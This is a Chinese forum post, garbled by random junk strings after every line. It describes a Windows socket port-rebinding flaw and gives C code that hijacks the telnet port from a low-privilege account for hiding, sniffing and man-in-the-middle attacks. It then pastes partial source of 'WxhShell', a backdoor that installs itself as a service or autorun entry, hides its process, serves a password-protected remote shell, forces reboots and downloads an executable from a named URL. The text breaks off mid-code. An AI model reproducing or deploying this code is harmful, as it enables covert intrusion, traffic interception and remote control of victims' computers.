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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hFylQfd  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [@Uc4LX  
nLdI>c9R  
  saddr.sin_family = AF_INET; yd#4b`8U`  
i&Xr+Zsec"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); - uliND  
h`&mW w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0`,a@Q4  
pr@8PD2%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *N< 22w  
o6Vc}jRH  
  这意味着什么?意味着可以进行如下的攻击: )<-kS  
E2!;W8M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /HI#8  
~)sb\o  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) WoesE:NiR  
W53i5u(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *kZJ  
ikyvst>O  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  * RN*Bh|$  
m' z<d  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <bIAq8  
g&riio7lx  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T~`m'4"+c  
tUz!]P2BUO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -%%2Pz0I  
N@;6/[8  
  #include gLd3,$ Ei  
  #include J=zh+oLCV  
  #include e?RHf_d3T-  
  #include    a+r0@eFLc  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;h0?o*i_  
  int main() PNg,bcl  
  { lq1pgM?Kf  
  WORD wVersionRequested; V..m2nQj  
  DWORD ret; 7}TjOWC  
  WSADATA wsaData; EQu M|4$ix  
  BOOL val; |CStw"Fog  
  SOCKADDR_IN saddr; d=H C;T)  
  SOCKADDR_IN scaddr; rs 7R5 F  
  int err; [$-y8`~(  
  SOCKET s; zx0{cNPK5  
  SOCKET sc; rf^1%Zo:  
  int caddsize; 1 9;\:tN  
  HANDLE mt; b .j\=c  
  DWORD tid;   *gVRMSrx4  
  wVersionRequested = MAKEWORD( 2, 2 ); nyTfTn  
  err = WSAStartup( wVersionRequested, &wsaData ); Ql [ =  
  if ( err != 0 ) { 1w1(FpQO.  
  printf("error!WSAStartup failed!\n"); J&{E  
  return -1; l,,5OZw  
  } olQ;XTa01F  
  saddr.sin_family = AF_INET; k\zNh<^  
   >E[cl\5$E  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Eh8.S)E  
j YO #  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ed_A#@V  
  saddr.sin_port = htons(23); TpZ)v.w~l7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Tx],- U  
  { won%(n,HT  
  printf("error!socket failed!\n"); jJ|O]v$N  
  return -1; Q]IpHNt[>  
  } e @=Bl-  
  val = TRUE; U*[/F)!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kAf2g  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =,,!a/U  
  { WAkKbqJV  
  printf("error!setsockopt failed!\n"); mA3C)V  
  return -1; *jf (TIU  
  } ~H)bvN^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3ef]3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8;Yx a8ie  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pPeS4$Y  
4}fG{Bk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o D:?fs]  
  { hZc$`V=R  
  ret=GetLastError(); xNE<$Bz  
  printf("error!bind failed!\n"); b^6Ooc/-k  
  return -1; }|AUV  
  } Hco [p+  
  listen(s,2); <Cn-MOoM  
  while(1) NfDg=[FN[  
  { p>65(&N,  
  caddsize = sizeof(scaddr); o}Dy\UfU  
  //接受连接请求 RzFv``g  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~qco -b  
  if(sc!=INVALID_SOCKET) DoNbCVZ  
  { G|IO~o0+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mqw& SxU9  
  if(mt==NULL) h-Ffs  
  { *%\z#Bje@  
  printf("Thread Creat Failed!\n"); |BF4 F5wC?  
  break; n\wO[l)  
  } to]1QjW-  
  } f{k2sU*uBE  
  CloseHandle(mt); PgxD?Oi8  
  } 4CfPa6_  
  closesocket(s); |V%Qp5 XJ  
  WSACleanup(); $(.[b][S  
  return 0; Y2QlK1.8V  
  }   [p[Kpunr{l  
  DWORD WINAPI ClientThread(LPVOID lpParam) MU%C_d%.  
  { -~]*)&  
  SOCKET ss = (SOCKET)lpParam; qmv%N  
  SOCKET sc; Da)9s %_4  
  unsigned char buf[4096]; &37QUdp+p  
  SOCKADDR_IN saddr; cZ%weQa#N)  
  long num; *d?,i -Q.+  
  DWORD val; *siS4RX2  
  DWORD ret; |*i0h`a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7`|$uIM`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $Rd74;edn  
  saddr.sin_family = AF_INET; f9X*bEl9;`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); yA \C3r'  
  saddr.sin_port = htons(23); a 0Hzf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IF$f^$  
  { $IUT5Gia`  
  printf("error!socket failed!\n"); \C~Y  
  return -1; kd9hz-*  
  } /i"L@t)\t  
  val = 100; YeptYW@xfw  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _;L9&>!p6  
  { j#Bea ,  
  ret = GetLastError(); D CcM~  
  return -1; '8}*erAg  
  } ` SZ^~O  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) : H0+}=  
  { 3?.3Z!H/  
  ret = GetLastError(); ' DCrSa>  
  return -1; Qpe&_.&RE  
  } u-f_,],p  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) al(t-3`<  
  { E[)`+:G]  
  printf("error!socket connect failed!\n"); Z Z\,iT  
  closesocket(sc); I+kDx=T !  
  closesocket(ss); %q`_vtUT  
  return -1; g3Xq@RAJc  
  } BD\xUjd?)Q  
  while(1) t+|c)"\5h  
  { .FtW $Y~y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a=.A/;|0*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "z1\I\ ^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 GxuFO5wz  
  num = recv(ss,buf,4096,0); sFT-aLpL@V  
  if(num>0) Z455g/=ye  
  send(sc,buf,num,0); $NWXn,Y'  
  else if(num==0) N3!x7J7A  
  break; Y?{L:4cRX  
  num = recv(sc,buf,4096,0); hdXdz aNS  
  if(num>0) hg/G7Ur"  
  send(ss,buf,num,0); KtG|m'\D  
  else if(num==0) >MauuL,.j  
  break; 4'cdV0]  
  } t"cGv32b  
  closesocket(ss); c0sU1:e0  
  closesocket(sc); C1:efa<wV  
  return 0 ; y9cW&rDH  
  } hl(M0cxEWP  
 Cdin"  
mg;+Th &  
========================================================== "M3R}<Vt  
uosFpa  
下边附上一个代码,,WXhSHELL D'$ki[{,  
vSb$gl5H  
========================================================== &}_E~jKK  
_?x*F?5=  
#include "stdafx.h" b%IRIi&,  
m-xSF]q=<  
#include <stdio.h> PO%Z.ol9  
#include <string.h> @T0F }(k  
#include <windows.h> "t$c'`  
#include <winsock2.h> SzR7:U  
#include <winsvc.h> O(2)A>}  
#include <urlmon.h> -NHA{?6r  
_DnZ=&=MA  
#pragma comment (lib, "Ws2_32.lib") <5%x3e"7u  
#pragma comment (lib, "urlmon.lib") jQxv` H  
{*RyT.J  
#define MAX_USER   100 // 最大客户端连接数 :G=N|3  
#define BUF_SOCK   200 // sock buffer 0,a\vs%@X  
#define KEY_BUFF   255 // 输入 buffer 2MS1<VKZ@  
s.d }*H-o  
#define REBOOT     0   // 重启 d~M;@<eD  
#define SHUTDOWN   1   // 关机 M0YV Qa  
_WO*N9Iz  
#define DEF_PORT   5000 // 监听端口 F'^6 ra9  
hK5BOq!y  
#define REG_LEN     16   // 注册表键长度 tgCEz%  
#define SVC_LEN     80   // NT服务名长度 :s`~m;Y9?  
D[yOFJ~p)  
// 从dll定义API DgQw`D)+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H`odQkZ!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `CP# S7W^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9%55R >s$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KAVe~j"  
`irz'/"p  
// wxhshell配置信息 }F=scbpXj  
struct WSCFG { r`Y[XzT9  
  int ws_port;         // 监听端口 M S$^m2  
  char ws_passstr[REG_LEN]; // 口令 ByqB4Hv2  
  int ws_autoins;       // 安装标记, 1=yes 0=no wqEO+7)S  
  char ws_regname[REG_LEN]; // 注册表键名 p uEu v6F  
  char ws_svcname[REG_LEN]; // 服务名 iOXxxP%#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *{5p/}p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K:hZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JR>#PJ,N-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v[~e=^IIsl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6g06s @kz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7VQ|3`!<  
\ <b-I  
}; }i0(^"SoXZ  
pxy=edd  
// default Wxhshell configuration JG\T2/b  
struct WSCFG wscfg={DEF_PORT, "|ZC2Zu<  
    "xuhuanlingzhe", {=};<;_F  
    1, Qk2^p^ T6  
    "Wxhshell", /qM:;:N%j  
    "Wxhshell", N.R,[K  
            "WxhShell Service", ?"-%>y@w  
    "Wrsky Windows CmdShell Service", mux_S2x9m\  
    "Please Input Your Password: ", nW#UBtZ  
  1, *-0tj~)>  
  "http://www.wrsky.com/wxhshell.exe", YL*yiZ9  
  "Wxhshell.exe" 4&]Sb}  
    }; 4JV/Ci5  
qYjR  
// 消息定义模块 iG*@(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?XOl>IO  
char *msg_ws_prompt="\n\r? for help\n\r#>";  &ig6\&1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6?GR+;/  
char *msg_ws_ext="\n\rExit."; UolsF-U}'  
char *msg_ws_end="\n\rQuit."; bWU4lPfP  
char *msg_ws_boot="\n\rReboot..."; \[u7y. b  
char *msg_ws_poff="\n\rShutdown..."; =M39I&N  
char *msg_ws_down="\n\rSave to "; t6m&+N  
{6}H}_( ]  
char *msg_ws_err="\n\rErr!"; |Rk9W  
char *msg_ws_ok="\n\rOK!"; Z{&dzc  
3Ov? kWFO  
char ExeFile[MAX_PATH]; tgeX~.  
int nUser = 0; !Q(xA,p  
HANDLE handles[MAX_USER]; j8gw]V/B:  
int OsIsNt; JAEn 72  
gT3i{iU  
SERVICE_STATUS       serviceStatus; oTS/z\C"<u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KA^r,Iw  
phkfPvL{  
// 函数声明 Am>^{qh9  
int Install(void); ;J<K/YdI  
int Uninstall(void); 4I&e_b< 30  
int DownloadFile(char *sURL, SOCKET wsh); mIk8hA@B_  
int Boot(int flag); a@+n  
void HideProc(void); l} \q }7\)  
int GetOsVer(void); &USKudXmb  
int Wxhshell(SOCKET wsl); IXQxjqd^  
void TalkWithClient(void *cs); i|M^QKvF  
int CmdShell(SOCKET sock); =Rv!c+?  
int StartFromService(void); Q)vf>LwC2S  
int StartWxhshell(LPSTR lpCmdLine); V+04X"  
vSyR% j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FZdZGK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CG!7BP\  
{k:W?`  
// 数据结构和表定义 W_JFe(=3,  
SERVICE_TABLE_ENTRY DispatchTable[] = rt +a/:4+  
{ $Sg5xkV,a  
{wscfg.ws_svcname, NTServiceMain}, E(%_aFx>/  
{NULL, NULL} 9:[L WT&  
}; j_w"HiNBA  
f&5'1tG  
// 自我安装 cviPCjM  
int Install(void) kF,_o/Jc  
{ 1^R[kaY  
  char svExeFile[MAX_PATH]; v2ab  
  HKEY key; YC,)t71l{  
  strcpy(svExeFile,ExeFile); Wycood*  
PRTn~!Z0  
// 如果是win9x系统,修改注册表设为自启动 ePD~SO9*  
if(!OsIsNt) { >s*ZT%TF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >v\t> [9t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5}v<?<l9\  
  RegCloseKey(key); TDqH"q0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )7`2FLG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a8Va3Y  
  RegCloseKey(key); ,\".|m1o.  
  return 0; x~ ;1CB  
    } E![Ye@w  
  } ^/`W0kT  
} VgBZ@*z(x  
else { 4xYW?s(  
{`KRr:w  
// 如果是NT以上系统,安装为系统服务 r0xmDJ@y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r:xbs0 7  
if (schSCManager!=0) cJ ^:b4j  
{ JJE3\  
  SC_HANDLE schService = CreateService T ?HG}(2  
  ( q`u^ sc  
  schSCManager, Ja`xG{~Y7i  
  wscfg.ws_svcname, lPBWpHX  
  wscfg.ws_svcdisp, #.KVT#%~{  
  SERVICE_ALL_ACCESS, %qI.Qw$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JI5%fU%O#n  
  SERVICE_AUTO_START, k/lU]~PE  
  SERVICE_ERROR_NORMAL, [v%j?  
  svExeFile, [p:mja.6y  
  NULL, q2SlK8`QJ  
  NULL, z yh #ygH  
  NULL, ].(l^W  
  NULL, ZYMacTeJjg  
  NULL m,3H]  
  ); x@aWvrL  
  if (schService!=0) :"im2J  
  { He1hgJ)N  
  CloseServiceHandle(schService); VMZUJ2Yj/&  
  CloseServiceHandle(schSCManager); <meQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a7~%( L@r  
  strcat(svExeFile,wscfg.ws_svcname); e]!`Cl-f80  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9P 7^*f:E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AJJa<c+j  
  RegCloseKey(key); 3<"!h1x5  
  return 0; 1+Z@4;fk  
    } 9| {t%F=-  
  } le*'GgU#  
  CloseServiceHandle(schSCManager); kM JA#{<  
} GxynLXWo>  
} V1]QuQ{&s  
Dr oa1_FX  
return 1; >@ :m#d  
} !yQ%^g`  
{0Jpf[.f  
// 自我卸载 J? 4E Hl  
int Uninstall(void) R5b!Ao  
{ 2m8|0E|@  
  HKEY key; wRj||yay#-  
Z !81\5  
if(!OsIsNt) { EvJ<X,Bo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0e,U&B<W  
  RegDeleteValue(key,wscfg.ws_regname); t(.jJ>|+*  
  RegCloseKey(key); r:~q{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +U^H`\EUr  
  RegDeleteValue(key,wscfg.ws_regname); c|2+J :}p  
  RegCloseKey(key); ^VOA69n>$  
  return 0; tbm/gOBw  
  } YLU.]UC  
} . l>.  
} :|z.F+-/  
else { =cwdl7N&I  
]fdxpqz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 04E S>'@  
if (schSCManager!=0) 7W]0bJK+E  
{ tZz *O%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Sdr,q9+__  
  if (schService!=0) e&\+o}S  
  { VEG p!~D  
  if(DeleteService(schService)!=0) { W2T-TI,>PC  
  CloseServiceHandle(schService); pl.x_E,HP  
  CloseServiceHandle(schSCManager); PFSh_9. q  
  return 0; :< *xG&  
  } 8iwH^+h~  
  CloseServiceHandle(schService); n5z";:p  
  } Ja[7/  
  CloseServiceHandle(schSCManager); =c34MY(#X  
} d&owS+B{48  
} /V"6Q'D  
0qSf7"3f  
return 1; &^hLFd7j/  
} !M(3[(Ni  
1Pp2wpD4iC  
// 从指定url下载文件 " Z2D@l  
int DownloadFile(char *sURL, SOCKET wsh) fpA%:V  
{ .*~t2 :  
  HRESULT hr; ai$s  
char seps[]= "/"; pm>$'z!.):  
char *token; 3[cGSI"+  
char *file; u+Sj#iZ  
char myURL[MAX_PATH]; hx$b Y  
char myFILE[MAX_PATH]; ~RU-N%Kn  
/DGEI&}&:u  
strcpy(myURL,sURL); DWXHx  
  token=strtok(myURL,seps);  Uip-qWI  
  while(token!=NULL) ~LU$ no^  
  { !S}d?8I6  
    file=token; MY>*F[~ 2  
  token=strtok(NULL,seps); ~gA^tc3G  
  } W6!o=()  
>E\U$}WCG  
GetCurrentDirectory(MAX_PATH,myFILE); "59"HVV  
strcat(myFILE, "\\"); ]x1o (~  
strcat(myFILE, file); OeYZLC(  
  send(wsh,myFILE,strlen(myFILE),0); Rz:1(^oA  
send(wsh,"...",3,0); {osadXd C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uMb[0-5  
  if(hr==S_OK) >mUSRf4  
return 0; lDVw2J'p  
else }Q-%ij2  
return 1; Gg# 1k TK  
J_}Rsp ED  
} iVZ X  
o! Y61S(  
// 系统电源模块 \L:+k `  
int Boot(int flag) Sh;Z\nj  
{ u_'XUJ32!  
  HANDLE hToken; B{2WvPX~q  
  TOKEN_PRIVILEGES tkp; eEZZ0NNe;  
{D`_q|  
  if(OsIsNt) { s#4Q?<65u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %j. *YvveW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #p7_\+&5s  
    tkp.PrivilegeCount = 1; 9}<iS w[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l % 0c{E~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0kxe5*-|  
if(flag==REBOOT) { iM +p{ /bN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K [R.B!;N  
  return 0; (3  ]!ZV  
} n,*E s/\  
else { ^2-+MWW.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j%ux,0Y  
  return 0; 8<_dNt'91  
} HbMD5(  
  } <Url&Z  
  else { 7$A=|/'nSA  
if(flag==REBOOT) { -/LB-t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yo]8QO]97  
  return 0; V1 {'d[E*  
} P:k!dRb9{  
else { j*L-sU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a(IZ2Zmr  
  return 0; m.&"D> \t  
} 2bt).gGm  
} Ox^VU2K;&.  
_qU;`Q  
return 1; ~ea&1+Z[3  
} jUCDf-_ m  
evro]&N{  
// win9x进程隐藏模块 iXD=_^^o .  
void HideProc(void) VdE$ig@  
{ M2piJ'T4u  
W&p f%?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !+Zso&  
  if ( hKernel != NULL ) mt]50}eK  
  { 3fq'<5 ^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EE,C@d!*k7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P%y$e0  
    FreeLibrary(hKernel); 6T-iBJT  
  } QB6. o6  
3 adF) mh  
return; %Zi}sm1t  
} 3&5AbIZ  
wd<jh,Y  
// 获取操作系统版本 KD73Aw  
int GetOsVer(void) N51WY7  
{ YE[{Y(5;q  
  OSVERSIONINFO winfo; 9YVr9BM'K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dfw%Bu  
  GetVersionEx(&winfo); K(heeZUt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [5wU0~>'  
  return 1; TQsTL2a  
  else Z1sRLkR^  
  return 0; |6T"T P  
} A}MF>.!}C  
8 _|"+Ze  
// 客户端句柄模块 R/ 3#(5  
int Wxhshell(SOCKET wsl) H':0  
{ bw*D!mm,  
  SOCKET wsh; C`b)}dY  
  struct sockaddr_in client; gM_MK8py  
  DWORD myID; :8l#jU `y  
]:Sb#=,!&!  
  while(nUser<MAX_USER) g]m}@b6(h  
{ 3Nk )  
  int nSize=sizeof(client); ?7Skk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]6;oS-4gu?  
  if(wsh==INVALID_SOCKET) return 1; E#/vgm=W;  
.y2np  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +9]CGYj  
if(handles[nUser]==0) /A>1TPb09"  
  closesocket(wsh); s p&g  
else XE?,)8  
  nUser++; ;-d2~1$  
  } ]X<L~s_*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v\Edf;(  
P;[>TCs ]8  
  return 0; AN4(]_ ]  
} LT6VZ,S  
%)PQomn?  
// 关闭 socket 1SY3  
void CloseIt(SOCKET wsh) DPylc9[-  
{ cPg$*,]  
closesocket(wsh); 7&*d]#&~j  
nUser--; k*o>ZpjNH  
ExitThread(0); 2br~Vn0N  
} V<0J j  
7!('+x(>  
// 客户端请求句柄 )d7U3i  
void TalkWithClient(void *cs) "j%L*J)  
{ aKk0kC   
=8 01nZJ  
  SOCKET wsh=(SOCKET)cs; HRW }Yl  
  char pwd[SVC_LEN]; W24n%Ps  
  char cmd[KEY_BUFF]; ge!Asm K  
char chr[1]; GL'zNQP-  
int i,j; _{48s8V  
8e}8@[h  
  while (nUser < MAX_USER) { zZI7p[A[3  
f<l.%B  
if(wscfg.ws_passstr) { Vho^a:Z9}W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^9 {r2d&c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZY-mUg  
  //ZeroMemory(pwd,KEY_BUFF); V(<(k,8=  
      i=0; Z$2Vd`XP  
  while(i<SVC_LEN) { wZ\% !# }7  
CpdQ]Ai[  
  // 设置超时 A^@,Ha  
  fd_set FdRead; VQHQvFRZ)  
  struct timeval TimeOut; G L8 N!,  
  FD_ZERO(&FdRead); B6"pw0  
  FD_SET(wsh,&FdRead); )`-vN^1S-  
  TimeOut.tv_sec=8; p^i]{"sjbU  
  TimeOut.tv_usec=0; *kKdL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jWJ/gv~ $  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u,),kj<  
k=JT%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nQM7@"R  
  pwd=chr[0]; un(fr7NW  
  if(chr[0]==0xd || chr[0]==0xa) { q($fl7}Y  
  pwd=0; eW zyydl  
  break; 4!0nM|~  
  } q.69<Rs  
  i++; ?&se]\  
    } kq=tL@W`0}  
ff<ad l-  
  // 如果是非法用户,关闭 socket 5H |<h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  9Li.B1j  
} _~_6qTv-d  
WDQw)EUl&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kJ:zMVN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l$eKV(CZ4  
77o&$l,A|  
while(1) { `%Uz0hF  
jG~UyzWH;  
  ZeroMemory(cmd,KEY_BUFF); V'XvwO@  
J&jig?t  
      // 自动支持客户端 telnet标准   z{dn   
  j=0; 9S$?2z".2  
  while(j<KEY_BUFF) { R; Gf3K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3-$w5O3}  
  cmd[j]=chr[0]; /7-qb^V  
  if(chr[0]==0xa || chr[0]==0xd) { Ehf3L |9   
  cmd[j]=0; @AAkEWo)_  
  break; 1PdxoRa4=  
  } Trwk9 +  
  j++; MtIhpTX  
    } ZeP3 Yjr3  
z]F4Z'(e.  
  // 下载文件 32ae? d  
  if(strstr(cmd,"http://")) { m=p<.%a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NP5;&}uv*!  
  if(DownloadFile(cmd,wsh)) mB]Y;R<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \J?5K l[*c  
  else 4E.K6=k|=a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Il,^/qvIY  
  } C*fSPdg?  
  else { b6~MRfx`7  
{glRX R  
    switch(cmd[0]) { &+>)H$5  
  _I}rQfPJ  
  // 帮助 xtP=/B/  
  case '?': { 5Pu F]5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hg=BXe4:  
    break; 1O]27"9  
  } uSi/|  
  // 安装 jt8% L[  
  case 'i': { *,=WaODO%  
    if(Install()) MX#MDA-4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z`lCS o;  
    else 1WMwTBHy+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s(Tgv  
    break; 4yu ^cix(  
    } Q8 r 7  
  // 卸载 0kB!EJ<OdG  
  case 'r': { ,-[dr|.  
    if(Uninstall()) "3Z<V8xB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q&Ox\*sMK  
    else *|DIG{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C6`<SW  
    break; %aeQL;# V  
    } k(v8zDq*  
  // 显示 wxhshell 所在路径 ET7(n0*P}]  
  case 'p': { 4?a!6  
    char svExeFile[MAX_PATH]; 2 !^[x~t  
    strcpy(svExeFile,"\n\r"); `X7ns?  
      strcat(svExeFile,ExeFile); (iZE}qf7 g  
        send(wsh,svExeFile,strlen(svExeFile),0); X@ Gm:6  
    break; I=3e@aTZ,  
    } uY;2tZldf=  
  // 重启 (~>L \]!  
  case 'b': { Ck0R%|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z 7M%}V%  
    if(Boot(REBOOT)) $&|*v1rH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nl^{w'X0h  
    else { &G>EBKn\2`  
    closesocket(wsh); @#%rTKD9F  
    ExitThread(0); d#9"_{P  
    } y`EcBf  
    break; Gv,0{DVX<  
    } ]'UO]i/  
